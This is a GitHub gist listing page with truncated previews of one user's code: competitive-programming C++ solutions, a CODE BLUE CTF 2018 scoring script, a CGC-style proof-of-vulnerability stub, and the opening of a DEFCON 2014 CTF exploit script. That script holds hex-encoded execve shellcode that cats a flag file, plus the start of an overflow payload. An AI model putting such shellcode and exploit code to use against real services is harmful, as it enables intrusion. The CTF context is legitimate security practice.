Skip to content

Instantly share code, notes, and snippets.

#include<bits/stdc++.h>
#define XX first
#define YY second
#define pb emplace_back
#define eb pb
#define FOR(i,a,b) for(int i=(a);i<(b);++i)
#define EFOR(i,a,b) for(int i=(a);i<=(b);++i)
#define rep(i,b) FOR(i,0,b)
#define REP rep
#define all(a) (a).begin(),(a).end()
LL dfs(int v, int p, int k) {
int rem = k - 2*(sz[v]-mx[v]);
if (rem <= 0) return 0;
LL ret = INF;
int u;
LL l;
for (auto &e : es[v]) {
u = e.to;
if (u == p) continue;
@potetisensei
potetisensei / make_score.py
Created December 1, 2018 10:45
Script for create scoring functions in CODE BLUE CTF 2018 Finals
from math import floor
# For JNI, Fliqpy, EasyExample
#base = 50
#div = [3, 6, 6, 6, 10, 15, 15, 15, 15, 9]
# For CTC, OSS, Account
base = 0
div = [2.5, 5, 10, 10, 10, 10, 10, 10, 10, 10, 5, 5, 2.5]
assert(sum(div) == 100)
@potetisensei
potetisensei / 415-c.cpp
Created May 21, 2017 08:50
Codeforces Round #415 (Div. 1) C. Find a car
#include <bits/stdc++.h>
using namespace std;
#define MOD 1000000007
typedef long long int LLI;
#define L 0
#define H 1
#define W 2
#define HW 3
@potetisensei
potetisensei / 6.c
Created August 21, 2016 08:48
LEGIT_00006 pov
#include <pov.h>
#include <stdio.h>
unsigned int getrand() {
unsigned int ret = 0x41414141;
//int i;
//for (i=0; i<4; i++) {
// ret *= 0x100;
// unsigned char c;
// random(&c, 1, NULL);
@potetisensei
potetisensei / get_val.c
Created March 9, 2016 06:00
Boston key Party 2016 spacerex
int main() {
double hoge;
scanf("%llu", ((long long int*)&hoge));
printf("%e\n", hoge);
}
#include <cstdio>
#include <vector>
#include <algorithm>
using namespace std;
int u, v;
int high, low;
int n, k;
int g_x;
int as[200000];
@potetisensei
potetisensei / nonameyet.py
Last active August 29, 2015 14:26
nonameyet - DEFCON 2014
from socket import *
from time import time, sleep
from struct import pack
from sys import argv
HOST = "localhost"
shellcode = "\x31\xc0\x50\x68\x66\x6c\x61\x67\x68\x2e\x2e\x2f\x2f\x54\x5f\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x54\x5b\x50\x57\x53\x54\x59\x6a\x0b\x58\xcd\x80" # should use connectback shellcode actually
def main():
payload1 = "a" * 34
#include <cstdio>
#include <utility>
#include <algorithm>
using namespace std;
typedef pair<int, int> Pair;
inline int det(Pair p1, Pair p2) {
return p1.first * p2.second - p1.second * p2.first;
}
#include <cstdio>
#include <cmath>
#include <utility>
#include <algorithm>
using namespace std;
#define PI 3.1415926535
typedef pair<int, int> Pair;
int n;